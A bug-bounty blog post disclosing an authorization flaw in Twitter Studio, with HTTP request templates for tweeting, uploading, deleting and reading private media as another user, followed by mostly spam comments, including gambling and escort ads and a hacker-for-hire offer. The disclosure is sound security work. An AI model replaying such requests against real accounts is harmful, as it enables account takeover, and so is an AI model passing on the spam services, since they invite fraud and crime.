How I took control of your Twitter account (tweeting, viewing/deleting photos and other media)

Summary:

This blog post is about an Insecure direct object reference vulnerability on Twitter which could have been used by attackers to tweet from other accounts, upload videos on behalf of user, delete pics/videos from victim's tweets, view private media uploaded by other twitter accounts etc. All endpoints on studio.twitter.com were vulnerable.

Description:

Twitter is an online news and social networking service where users post and interact with messages, "tweets", restricted to 140 characters. Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS or a mobile device app.

Twitter had launched a new product named Twitter Studio (studio.twitter.com) in September 2016. So i started looking out for security loopholes after the launch. All API requests on studio.twitter.com were sending a parameter named "owner_id" which was twitter user id(publicly available and sequential) of the logged in user. Owner_id parameter was missing authorisation checks changing which allowed me to take actions on behalf of other twitter users.

Vulnerable request #1 (Tweeting from other twitter accounts.)


POST /1/tweet.json HTTP/1.1
Host: studio.twitter.com {"account_id":"attacker's account id","owner_id":"victim's user id","metadata":
{"monetize":false,"embeddable_playback":false,"title":"Test tweet by attacker",
"description":"attacker attacker","cta_type":null,"cta_link":null},"media_key":"",
"text":"attacker attacker"}

Replaying above request with victim's id resulted in a tweet from victim's account.

Vulnerable request #2 (Upload Media from other's account)


POST /1/library/add.json HTTP/1.1
Host: studio.twitter.com

{"account_id":"attacker's accountid","owner_id":"victim's id","metadata":{"monetize":false,"name":"abcd.png","embeddable_playback":true,"title":"Attacker","description":"","cta_type":null,"cta_link":null},"media_id":"","managed":false,"media_type":"TweetImage"}

Replaying above request with victim's owner_id, uploaded media from other user accounts.

Vulnerable request #3 (Delete Videos of other accounts)

POST /1/library/remove.json HTTP/1.1
Host: studio.twitter.com

{"account_id":"attacker's account id","owner_id":"victim's id","media_key":"victim's video id"}

Replaying the above request with victim's user id and victim's media_key deleted media from victim's account.

Vulnerable request #4 (Private media disclosure)

GET /1/library/list.json?account_id=attacker's account id&owner_id=victim's id&limit=20&offset=0 HTTP/1.1
Host: studio.twitter.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://studio.twitter.com/library
Cookie: 
Connection: keep-alive


Replaying the above request with victim's user id and my account id leaked all private media's of victim's twitter account in response.


Video Proof of concept:

All tests were done on a friends account after taking permission. In the videos i am using my session cookies to tweet from another person's account (Sunil Bhati).

#1 Tweet from victim's account, Private media leakage 


#2 Delete media from victim's tweets

Timeline:
29th August - Reported all findings to twitter in 3 different reports as endpoints were different.
2nd September  - Received response from Twitter team saying we are looking into the issue and will be closing out other reports as duplicate as they share the same root cause i.e. missing owner_id check.
3rd September- Bounty of $5,040 rewarded by Twitter
3rd September- Pinged them to check if the report falls under "Core Twitter" category for bounty as it impacted Twitter.com. No response from them.




Comments

  1. Thank you for sharing them! I hope you will continue to have similar posts to share with everyone!
    html color

    ReplyDelete
  2. Interesting article! Thank you for sharing them! I hope you will continue to have similar posts to share with everyone!
    windows movie maker

    ReplyDelete
  3. This comment has been removed by the author.

    ReplyDelete
  4. That’s why we feel you much and services. It is very easy to finding us as we are at your city or nearest places. Just remember us and we will cash your check very short period with a very low cost.
    check cashing

    ReplyDelete
  5. Your article is very good and useful, thank you very much for this content.
    abcya

    ReplyDelete
  6. This is the information I am looking for. This article is clear and easy to understand. I'm learning more about this. Hope you bring more things related to it. Thanks a lot!
    wings io

    ReplyDelete
  7. Interesting article! Thank you for sharing them! I hope you will continue to have similar posts to share with everyone!
    html color

    ReplyDelete
  8. Usually it ought to terribly tough to cash if it is now not official hours. That’s why we have a propensity to feel you ample and commenced twenty 4 hour offerings.
    check cashing

    ReplyDelete
  9. This comment has been removed by the author.

    ReplyDelete
  10. Usually it ought to terribly tough to cash if it is now not official hours. That’s why we have a propensity to feel you ample and commenced twenty 4 hour offerings.

    https://www.minhamulta.com.br/detran/como-recorrer-multa-de-transito/

    ReplyDelete
  11. Usually it ought to terribly tough to cash if it is now not official hours. That’s why we have a propensity to feel you ample and commenced twenty 4 hour offerings.

    Como recorrer multa de transito

    ReplyDelete
  12. Usually it's going to extraordinarily tough to cash if it is no longer authentic hours. That’s why we tend to feel you plentiful and services
    check cashing

    ReplyDelete
  13. What makes Twitter so remarkable is that it's select in. You get the chance to assemble a rundown of individuals that have tailed you and get refreshes that you convey. The issue that most newcomers to Twitter battle with is getting devotees in any case. SEE MORE

    ReplyDelete
  14. Sir i have found an uber bug which is costing company in crores..what are the steps to get the bug bounty.. my email id is Ritesh.dharewa@gmail.com

    ReplyDelete
  15. I just got to this amazing site not long ago. I was actually captured with the piece of resources you have got here. Big thumbs up for making such wonderful blog page! desert safari hatta

    ReplyDelete

  16. Thanks for sharing this information. I really like your blog post very much.
    You have really shared a informative and interesting blog post with people
    bandar togel
    taruhan bola
    poker online

    ReplyDelete
  17. This post is very good for us. It has got a lot of benefit from us.I hope that you will be writing this post again http://www.russiongirlsinmahipalpur.in Call Girl In Mahipalpur

    ReplyDelete
  18. Nice post, its very interesting to read something good like this, hope you will continue sharing your thoughts with us http://www.escort-gurgaon.com/mahipalpur-escort.html Mahipalpur Escort

    ReplyDelete
  19. We will be inclined to location unit the agency providing you the most effective services regarding inside a short amount. In USA you will realize U.S. Everyplace, every city and 24/7.
    check cashing

    ReplyDelete
  20. Your website content nice nice and interesting to observe.
    WordPress Lüdenscheid

    ReplyDelete

  21. I like your all post. You have done really good work. Thank you for the information you provide, it helped me a lot.
    I hope to have many more entries or so from you.

    INEM

    FILM BOKEP

    JUDI POKER

    POKER ONLINE

    CAPSA SUSUN ONLINE

    SITUS DOMINO ONLINE

    ReplyDelete
  22. This comment has been removed by the author.

    ReplyDelete
  23. WE DELIVER ON TIME AND YOUR WORK IS 100% SAFE...Do you need to spy or trace on robbers, retrieve your lost password?? Spy on a friend or partner? Any type of media hack or social Hack Facebook,Instagram,paypal, twitter,whatsapp,Snapchat?, Credit card hack, spy bugs,Erase Criminal records,Money transfer hack,School Result Upgrades. Also included are games cheats and hacks, I'll recommend you get the services of a certified hacker, (hackempire007@gmail.com) he is 100% legit.Guaranteed and tested.

    ReplyDelete
  24. Bergabung Dan Tunjukkan Cara Bermain Pokermu.
    Bersama GadisPoker Dan Menangkan Hadiah jutaan Rupiah.
    Dan Jangan Lupa Juga kami Ada Promo Buat Anda.
    https://goo.gl/iXP5pY
    Untuk Info Lebih lanjut Silakan hubungi CS (custumer Service).
    -Live chat ( gadispoker )
    -Whatsapp : +855966624192
    -BBM : D8C893A4
    agen judi poker online terpercaya di indonesia

    bandar judi poker online yang paling aman

    taruhan judi poker online terpercaya

    poker online

    judi poker

    dewa poker

    raja poker

    gadispoker

    judi poker online terbesar

    judi poker online yang aman dan terpercaya

    bandar poker online indonesia

    judi dewa poker terbaik indonesia

    agen poker online indonesia

    poker online betting

    poker online terbaik

    ReplyDelete
  25. Excellent post. I used to be checking continuously this blog and I’m impressed!
    Very helpful info particularly the ultimate part Obat Jantung Herbal
    care for such information much. I used to be seeking this
    particular info for a long time.

    ReplyDelete
  26. interesting articles and this is my first first reading a very interesting article thanks for this article that fits with the theme news.
    dewa poker

    ReplyDelete
  27. REALLY GOOD! i like it so much<3 Thanks for the Good Artickle Sir.
    dewa poker

    ReplyDelete
  28. REALLY GOOD! i like it so much<3 Thanks for the Good Artickle Sir.
    judi poker

    ReplyDelete
  29. like your blog i enjoyed reading-your blog it was amazing thanks a lot.
    "judi bola yang aman dan terpercaya

    ReplyDelete
  30. like your blog i enjoyed reading-your blog it was amazing thanks a lot.
    "judi bola yang aman dan terpercaya

    ReplyDelete
  31. The website is looking bit flashy and it catches the visitors eyes. A design is pretty simple .
    regionale stellenbörse

    ReplyDelete
  32. Mari Boskuu...
    hanya Butuh 1 ID dan Anda Bisa Bermain 6 Permainan Di Sini.
    jadi Tunggu Apa lagi,, Ayo Bergabung Dan MenangKan Jutaan Rupiah.

    Jangan Ragu Dengan kami Di sini Kami MenjaminKan Pemainan Tanpa Robot.
    Ataupun Admin Kami Bermain Bersama anda.
    DI sini kami Fairplay, 100% Player VS player.
    Poker Aman Dan Terpercaya Hanya Bersama Gadispoker.
    Kami Juga Menyediakan Bermacam Promo untuk Para Member Setia Kami.

    -Bonus Deposit Setiap hari Untuk Para member.
    -Bonus Refferal 10% Seumur Hidup.
    -Bonus TO/Turn Over Up TO 0,3% - 0,5%
    -Bonus SmartPhone Xiomi 4A
    Kalian Juga Akan Di layani dengan CS Kami Yang Ramah dan Sangat propesional.
    Selama 24jam Nonstop,
    JAdi Jangan Berpikir panjang lagi mari Bergabung bersama Gadispoker dan Di tunggu Kemenangannya,
    Untuk Info Lebih lanjut Silakan hubungi CS (custumer Service).
    -Live chat ( gadispoker )
    -Whatsapp : +855966624192
    -Skype : Gadispoker
    -Yahoo : gadispokercs
    -BBM : D8C893A4
    -Line : gadispoker-cs
    Hubungi Segera Dan Jangan Lewatkan Kemenanganmu..!
    agen judi poker online terpercaya di indonesia

    bandar judi poker online yang paling aman

    taruhan judi poker online terpercaya

    poker online

    judi poker

    dewa poker

    raja poker

    gadispoker

    judi poker online terbesar

    judi poker online yang aman dan terpercaya

    bandar poker online indonesia

    judi dewa poker terbaik indonesia

    agen poker online indonesia

    poker online betting

    poker online terbaik

    ReplyDelete
  33. is very fond of this article because it gives a lot of inspiration mgmdomino

    ReplyDelete
  34. Hello. fantastic job. I did not expect this. This is a impressive storyagen judi online indonesia

    ReplyDelete
  35. Agen Judi MGMCASH88 Online Terbesar Dan Terpercaya Indonesia.
    Bergabunglah Bersama Kami Para Member Yang Setia Di MGMcash88,
    Bagi Anda Yang Belum mempunyai ID , Silahkan Melakukan Registrasi (Daftar).

    Hanya 1 Rekening Anda Sudah Bisa Bermain Semua Game yang ada DI MGMcash88
    Ini adalah list game yang ada di MGMcash88 :

    - SBOBET BOLA
    - SBOBET CASINO
    - ION CASINO
    - MAXBET
    - TANGKAS 365
    - 368bet
    - SABUNG AYAM
    - CBO855
    Tersedia Game Baru kami Fish Hunter ( Tembak Ikan )

    PROMO BANDAR ONLINE MGMCASH88 :
    -Bonus Depo Bola 50%
    -Bonus Cashback Bola 5% - 10%
    -Bonus Depo Casino 3%
    -Bonus Cashback Casino 5%
    -Bonus Rollingan Casino 0.7%
    -Bonus Depo Tangkas 5%
    -Bonus Referal Bola 3% MenangKalah teman
    -Bonus Referal Casino 1% MenangKalah teman

    PROMO BONUS 5% LIVE CASINO
    -SBOBET CASINO
    -ION CASINO
    -855 CASINO

    Costumer Service 24 Jam Online :
    Pin BBM : 7B2Ec260


    daftar
    https://goo.gl/69IAam


    Whatsapp atau nomor sms :
    +66615620266
    YM : mgmcash88

    Minimal Depo 50 untuk WD minimal 100 rebu saja...
    Buruan Bergabunglah Bersama Kami, Ramaikan Sekarang Juga
    MGMcash88
    Kami Siap Melayani Anda...
    WD banyak kami siap membayar nya 100% Aman dan Terpercaya...
    Salam Kami
    WWW.MGMCASH88.COM
    Terima Kasih

    ReplyDelete
  36. This comment has been removed by the author.

    ReplyDelete
  37. good article http://www.mgmdomino.com/

    ReplyDelete

  38. Daftar dan buktikan pelayanan yang super cepat dari kami
    Hanya dengan 10 ribu rupiah saja kalian bisa memainkan semua game yang ada di website kami
    Untuk info dan keluhan silahkan hubungi Customer Service kami yang siap melayani
    selama 24 jam full tanpa henti

    JUDI POKER ONLINE UANG ASLI

    POKER ONLINE TERPERCAYA

    BANDAR JUDI TOGEL ONLINE

    TARUHAN JUDI BOLA

    FILM BOKEP

    ReplyDelete
  39. Twitter is one of the best social groups like Facebook, Orkut where for the most part individuals meet, visit and offer their data with companions. In Twitter, dialog is known as a tweet. In this article, you will learn finish data about twitter, how twitter is utilized for business on the web and how to procure cash from twitter. See More

    ReplyDelete
  40. Nice post so thanks for this because this is the amazing.
    Epson Printer Phone Number

    ReplyDelete
  41. A clean bod — Take a shower (yes, even if you showered this morning). Deodorize and put on a small amount of cologne. Call Girl in Gurgaon

    escort in manali

    ReplyDelete
  42. If you have a cloud of Axe (can product link here, change to any cologne
    you want) orbiting your head, there’s a chance she might go into a wheezing fit just being near you. A little goes a long way. Escorts in Gurgaon
    Escort in Gurgaon
    Call Girl in Gurgaon
    Call Girl in Gurgaon
    Russian Escort in Gurgaon

    ReplyDelete
  43. REALLY GOOD! i like it so much<3 Thanks for the Good Artickle Sir.
    judi poker

    ReplyDelete
  44. Mari Boskuu...
    hanya Butuh 1 ID dan Anda Bisa Bermain 6 Permainan Di Sini.
    jadi Tunggu Apa lagi,, Ayo Bergabung Dan MenangKan Jutaan Rupiah.

    Jangan Ragu Dengan kami Di sini Kami MenjaminKan Pemainan Tanpa Robot.
    Ataupun Admin Kami Bermain Bersama anda.
    DI sini kami Fairplay, 100% Player VS player.
    Poker Aman Dan Terpercaya Hanya Bersama Gadispoker.
    Kami Juga Menyediakan Bermacam Promo untuk Para Member Setia Kami.

    -Bonus Deposit Setiap hari Untuk Para member.
    -Bonus Refferal 10% Seumur Hidup.
    -Bonus TO/Turn Over Up TO 0,3% - 0,5%
    - Hadiah Jackpot Puluhan Jutaan Rupiah
    Kalian Juga Akan Di layani dengan CS Kami Yang Ramah dan Sangat propesional.
    Selama 24jam Nonstop,
    JAdi Jangan Berpikir panjang lagi mari Bergabung bersama Gadispoker dan Di tunggu Kemenangannya,
    Untuk Info Lebih lanjut Silakan hubungi CS (custumer Service).
    -Live chat ( gadispoker )
    -Whatsapp : +855966624192
    -Skype : Gadispoker
    -Yahoo : gadispokercs
    -BBM : D8C893A4
    -Line : gadispoker-cs
    Hubungi Segera Dan Jangan Lewatkan Kemenanganmu..!
    agen judi poker online terpercaya di indonesia

    bandar judi poker online yang paling aman

    taruhan judi poker online terpercaya

    poker online

    judi poker

    dewa poker

    raja poker

    gadispoker

    judi poker online terbesar

    judi poker online yang aman dan terpercaya

    bandar poker online indonesia

    judi dewa poker terbaik indonesia

    agen poker online indonesia

    poker online betting

    poker online terbaik

    ReplyDelete
  45. Mari Boskuu...
    hanya Butuh 1 ID dan Anda Bisa Bermain 6 Permainan Di Sini.
    jadi Tunggu Apa lagi,, Ayo Bergabung Dan MenangKan Jutaan Rupiah.

    Jangan Ragu Dengan kami Di sini Kami MenjaminKan Pemainan Tanpa Robot.
    Ataupun Admin Kami Bermain Bersama anda.
    DI sini kami Fairplay, 100% Player VS player.
    Poker Aman Dan Terpercaya Hanya Bersama Gadispoker.
    Kami Juga Menyediakan Bermacam Promo untuk Para Member Setia Kami.

    -Bonus Deposit Setiap hari Untuk Para member.
    -Bonus Refferal 10% Seumur Hidup.
    -Bonus TO/Turn Over Up TO 0,3% - 0,5%
    - Hadiah Jackpot Puluhan Jutaan Rupiah
    Kalian Juga Akan Di layani dengan CS Kami Yang Ramah dan Sangat propesional.
    Selama 24jam Nonstop,
    JAdi Jangan Berpikir panjang lagi mari Bergabung bersama Gadispoker dan Di tunggu Kemenangannya,
    Untuk Info Lebih lanjut Silakan hubungi CS (custumer Service).
    -Live chat ( gadispoker )
    -Whatsapp : +855966624192
    -Skype : Gadispoker
    -Yahoo : gadispokercs
    -BBM : D8C893A4
    -Line : gadispoker-cs
    Hubungi Segera Dan Jangan Lewatkan Kemenanganmu..!
    agen judi poker online terpercaya di indonesia

    bandar judi poker online yang paling aman

    taruhan judi poker online terpercaya

    poker online

    judi poker

    dewa poker

    raja poker

    gadispoker

    judi poker online terbesar

    judi poker online yang aman dan terpercaya

    bandar poker online indonesia

    judi dewa poker terbaik indonesia

    agen poker online indonesia

    poker online betting

    poker online terbaik

    ReplyDelete
  46. * PROMO LUCKY SPIN *

    AYO BERMAIN DI WEB
    WWW,POKERSAKTI,COM !!!

    PUTAR RODA KEBERUNTUNGAN ANDA & BAWA PULANG HADIAH NYA !!

    DI MULAI PADA TANGGAL 10 NOVEMBER - 31 DESEMBER 2017

    Syarat untuk Mendapatkan Voucher Lucky Spin

    1. TURNOVER

    TO 5.000.000 - 15.000.000 = 1 VOUCHER
    TO 15.000.001 - 30.000.000 = 2 VOUCHER
    TO 30.000.001 - 60.000.000 = 4 VOCUHER
    TO >60.000.000 = 7 VOUCHER

    Semakin aktif anda bermain maka semakin banyak voucher keberuntungan yang akan anda dapatkan ^^

    2. CONTOH : Member Bermain pada tanggal 10 november maka member dapat klaim voucher lucky spin keesokan harinya (yaitu pada tanggal 11 November).

    3. Member Hanya Bisa Claim 1 hari 1 x -- Jika Sudah Claim Di Anggap TO hari itu HANGUS.

    3. Untuk klaim voucher lucky spin, paling lambat 1 minggu, jika lewat 1 minggu tidak klaim, maka voucher / t.o minggu tersebut di anggap hangus.

    4. Claim VOUCHER LUCKY SPIN hanya dapat d lakukan pukul 10.00 wib - 22.00wib setiap harinya.

    5. Dapatkan Login id anda melalui LiveChat Kami & Putarkan Lucky Spinnya Di WEB ===> 128fortune.com

    6. Putar Lucky SPin anda - dan Claim Segera melalui LIVECHAT kami.

    7. T.O LUCKY SPIN tidak berkaitan dengan T.O CASHBACK ^.^

    Hubungi Kami Di :
    Pin BBM : D8EF2431
    Telepon / WA : +855.964.062.841
    Line : go.paris8
    Livechat : www. POKERSAKTI .com

    ReplyDelete
  47. Selamat datang di www.QQBendera.com

    Nikmati berbagai keuntungan bermain di BenderaQQ.
    ? Bonus Referral 20% Seumur Hidup!!!
    ? Menang Berapapun Pasti DIBAYAR !!!
    ? Minimal Deposit hanya Rp.15.000,-
    ? Minimal Withdraw Rp.15000,-
    ? Menyediakan 7 Game ( Bandar Q, Bandar Poker, Adu Q, Domino QQ, Poker, Capsa Susun, Samgong(NEW) )
    ? BONUS TurnOver/Cashback 0.5% Setiap Minggu dibagikan pada Hari Rabu dan Sabtu
    ? Support Bank Lokal Indonesia Terpercaya ( BCA, BNI, BRI, Mandiri)
    ? Pelayanan dari CS (Customer Service) Ramah, dan Profesional 24jam/7hari
    ? Deposit dan withdraw prosesnya secepat kilat.
    contact us:
    PIN BBM D1CD3A22
    line: BenderaQQ
    Whatapp :+85515590751

    ReplyDelete
  48. REALLY GOOD! i like it so much<3 Thanks for the Good Artickle Sir.
    bandar judi online

    ReplyDelete

  49. good articles and an article with incredible writing and thoughtful thank
    judi poker

    ReplyDelete
  50. Silahkan di kunjungi ya kawan-kawan 100% Memuaskan
    > Hoki anda ada di sini <
    Allsbobet 1 DOMPET DEPOSITO Untuk Semua Permainan !!
    WELCOME BONUS 100%
    SPORTSBOOK CASINO TOGEL POKER E E-GAMES SLOT MACHINE NUMBER GAME SABUNG AYAM TEMBAK IKAN DAN SEBAGAINYA

    Tentunya dengan berbagai BONUS-BONUS:
    - Minimal Deposit Rp 50.000 & Withdraw Rp 50.000
    - BONUS NEW MEMBER SPORTBOOK 100%
    - BONUS ALL GAME 10%
    - BONUS ROLLINGAN LIVE CASINO 0.8%
    - BONUS REFFERAL 2.5%

    Gabung yuk bersama dengan kami di ALLSBOBET.COM
    Terpercaya Sejak 2015 - MENANG BERAPAPUN KAMI BAYAR
    Proses Deposit / Withdraw gak pake ribet, proses CEPAT !!

    UNTUK INFORMASI SELANJUTNYA BISA HUB KAMI DI :
    LIVECHAT ALLSBOBET.COM 24 JAM ONLINE : https://lc.chat/now/8533171/
    Pin BBM : D60E1BF8
    LINE : ALLSBOBET
    WECHAT : ALLSBOBET
    WHATSAPP : +855 974 832 357

    Agen Togel
    Agen Bola
    Agen Kasino
    Togel SGP
    Togel Hongkong
    Togel Sydney
    Judi Online
    Agen Judi
    Agen Judi QQ
    Forum Judi Online

    hubungi kami di :
    Line : ALLSBOBET
    Bbm : D60E1BF8
    Wa : +855974832357

    ReplyDelete
  51. QQHOK - Situs judi online terbaik dan terpercaya di Indonesia.

    Kami hadir untuk kalian para pecinta judi online Indonesia dengan peluang kemenangan yang besar.
    Untuk member baru yang ingin bergabung, kami berikan BONUS FREECHIP sebesar 10.000,- TANPA HARUS MELAKUKAN DEPOSIT TERLEBIH DAHULU
    * Syarat dan ketentuan berlaku.

    Dan bukan hanya sekedar BONUS FREECHIP, Bonus lainnya yang kami hadirkan juga sangat luar biasa dan sangat menggiurkan !!

    Game seru yang dapat di mainkan : Sportbook, Live Casino, E-Games, Lottery, Poker, Racing ( 1 USER ID UNTUK SEMUA PERMAINAN ), jadi tidak perlu lagi susah untuk bermain permainan yang berbeda dengan user id yang berbeda :)

    AYO !! BURUAN GABUNG SEKARANG JUGA BERSAMA QQHOK, DAPATKAN FREECHIP TANPA DEPOSIT NYA !!
    Info Lebih lanjut, Hubungi :
    PIN : DCD46444
    Livechat QQhok(dot)com

    #AgenPokerTerpercaya #Bonus #Freechip #BonusFreechip #Casino #CasinoOnline #LivePoker #Menang #Pasti #Dibayar #Domino #BandarDomino #JudiOnline #Judi #BandarTerpercaya #KidsZamanNow #NKRI #Jokowi #TaruhanJudi #TaruhanOnline #ChipGratis #MainPoker #BonusPoker #SitusJudiTerpercaya #SitusJudiOnline #SitusJudi #QQHok

    ReplyDelete
  52. REALLY GOOD! i like it so much<3 Thanks for the Good Artickle Sir.
    poker online

    ReplyDelete
  53. must say that overall I am really impressed with this blog. It is easy to see that you are passionate about your writing. If only I had your writing ability I look forward to more updates and will be returning. website alternatif daftar dewa poker 2018 terbaru

    ReplyDelete
  54. Thank you for sharing these errors! It's very helpful to learn about it for a instagram technology illiterate like me.

    ReplyDelete
  55. * PROMO LUCKY SPIN *

    AYO BERMAIN DI WEB
    WWW,POKERSAKTI,COM !!!

    PUTAR RODA KEBERUNTUNGAN ANDA & BAWA PULANG HADIAH NYA !!

    DI MULAI PADA TANGGAL 1 DESEMBER - 31 DESEMBER 2017

    Syarat untuk Mendapatkan Voucher Lucky Spin

    1. TURNOVER

    TO 5.000.000 - 15.000.000 = 1 VOUCHER
    TO 15.000.001 - 30.000.000 = 2 VOUCHER
    TO 30.000.001 - 60.000.000 = 4 VOCUHER
    TO >60.000.000 = 7 VOUCHER

    Semakin aktif anda bermain maka semakin banyak voucher keberuntungan yang akan anda dapatkan ^^

    2. CONTOH : Member Bermain pada tanggal 10 november maka member dapat klaim voucher lucky spin keesokan harinya (yaitu pada tanggal 11 November).

    3. Member Hanya Bisa Claim 1 hari 1 x -- Jika Sudah Claim Di Anggap TO hari itu HANGUS.

    3. Untuk klaim voucher lucky spin, paling lambat 1 minggu, jika lewat 1 minggu tidak klaim, maka voucher / t.o minggu tersebut di anggap hangus.

    4. Claim VOUCHER LUCKY SPIN hanya dapat d lakukan pukul 10.00 wib - 22.00wib setiap harinya.

    5. Dapatkan Login id anda melalui LiveChat Kami & Putarkan Lucky Spinnya Di WEB ===> 128fortune.com

    6. Putar Lucky SPin anda - dan Claim Segera melalui LIVECHAT kami.

    7. T.O LUCKY SPIN tidak berkaitan dengan T.O CASHBACK ^.^

    Hubungi Kami Di :
    Pin BBM : D8EF2431
    Telepon / WA : +855-876-232-68
    Line : cs_pokersakti
    Livechat : www,POKERSAKTI,com

    ReplyDelete
  56. VipMandiriQQ kini hadir untuk para pecinta poker online. VipMandiriQQ mengerti akan keinginan para pecinta poker online. Maka itu kami hadir dengan meluncurkan sebuah website poker yang dapat di mainkan dengan menggunakan uang asli.

    Di VipMandiriQQ kami juga menyediakan permainan yang dapat dimainkan dengan 1 ID :
    * Poker
    * Bandar poker
    * Capsa susun
    * Domino 99
    * Adu Q
    * Bandar Q
    * Bandar Sakong

    Minimal Deposit Rp 15.000,-
    Minimal Withdraw Rp 15.000,-

    Bonus Yang Disediakan:
    * Bonus Turnover 0.5% dibagikan setiap hari (12.00-selesai)
    * Bonus Referral 20% dibagikan setiap senin (12.00-selesai)

    Minimal Deposit Rp 15.000,-
    Minimal Withdraw Rp 15.000,-

    Keunggulan bermain di VipMandiriQQ:
    * Permainan yang Anda mainkan di VipMandiriQQ adalah Poker Fair Play.
    * Poker tanpa menggunakan sistem bot, Murni Player vs Player.
    * Transaksi Deposit dan Withdraw cepat.
    * Kami juga menyediakan 6 bank local seperti BCA, MANDIRI, BNI, BRI, CIMB, dan DANAMON agar para member mudah untuk bertransaksi.
    * Dilayani CS yang Ramah dan Profesional, Siap melayani para member setia VipMandiriQQ selama 24jam full.

    Segera daftarkan diri Anda untuk bermain di VipMandiriQQ, Dan jangan lupa untuk mengajak teman-teman Anda untuk bermain di VipMandiriQQ & rasakan sensasi bermain poker tanpa bot bersama kami di VipMandiriQQ
    Ayo cepat !! Sebelum anda ketinggalan hadiah Jackpot dan uang tunai ratusan juta rupiah !!

    Join Us :
    BBM : 2BE55E80
    SKYPE : vip.mandiriqq
    Facebook : vip mandiri qq

    ReplyDelete
  57. MGM POKER

    POKER ONLINE TERBAIK DI INDONESIA

    KELEBIHAN :
    PLAYER VS PLAYER 100 %
    MIN DEPOSIT DAN WITHDRAW : IDR 20.000
    SUPOERT BANK : BCA BNI BRI MANDIRI

    BONUS TURN OVER MINGGUAN 0.5% (TERBESAR)
    BONUS REFERRAL 20% (TERBESAR)
    JACKPOT TERBAIK

    INFO LEBIH LANJUT HUBUNGI SANA DOMINO DI :

    * LIVE CHAT 24 JAM ONLINE - WWW.DOMPETMGM.COM
    * BBM : D88FDB2E
    * LINE : mgmpoker88
    * WHATAPP : +85577597038
    * YAHOO : mgmpoker88@yahoo.com

    ReplyDelete
  58. Silahkan di kunjungi ya kawan-kawan 100% Memuaskan
    > Hoki anda ada di sini <
    Allsbobet 1 DOMPET DEPOSITO Untuk Semua Permainan !!
    WELCOME BONUS 100%
    SPORTSBOOK CASINO TOGEL POKER E E-GAMES SLOT MACHINE NUMBER GAME SABUNG AYAM TEMBAK IKAN DAN SEBAGAINYA

    Tentunya dengan berbagai BONUS-BONUS:
    - Minimal Deposit Rp 50.000 & Withdraw Rp 50.000
    - BONUS NEW MEMBER SPORTBOOK 100%
    - BONUS ALL GAME 10%
    - BONUS ROLLINGAN LIVE CASINO 0.8%
    - BONUS REFFERAL 2.5%

    Gabung yuk bersama dengan kami di ALLSBOBET.COM
    Terpercaya Sejak 2015 - MENANG BERAPAPUN KAMI BAYAR
    Proses Deposit / Withdraw gak pake ribet, proses CEPAT !!

    UNTUK INFORMASI SELANJUTNYA BISA HUB KAMI DI :
    LIVECHAT ALLSBOBET.COM 24 JAM ONLINE : https://lc.chat/now/8533171/
    Pin BBM : D60E1BF8
    LINE : ALLSBOBET
    WECHAT : ALLSBOBET
    WHATSAPP : +855 974 832 357

    Agen Togel
    Agen Bola
    Agen Kasino
    Togel SGP
    Togel Hongkong
    Togel Sydney
    Judi Online
    Agen Judi
    Agen Judi QQ
    Forum Judi Online

    hubungi kami di :
    Line : ALLSBOBET
    Bbm : D60E1BF8
    Wa : +855974832357

    ReplyDelete

Post a Comment

Popular posts from this blog

How anyone could have used Uber to ride for free!

[Responsible disclosure] How I could have hacked all Facebook accounts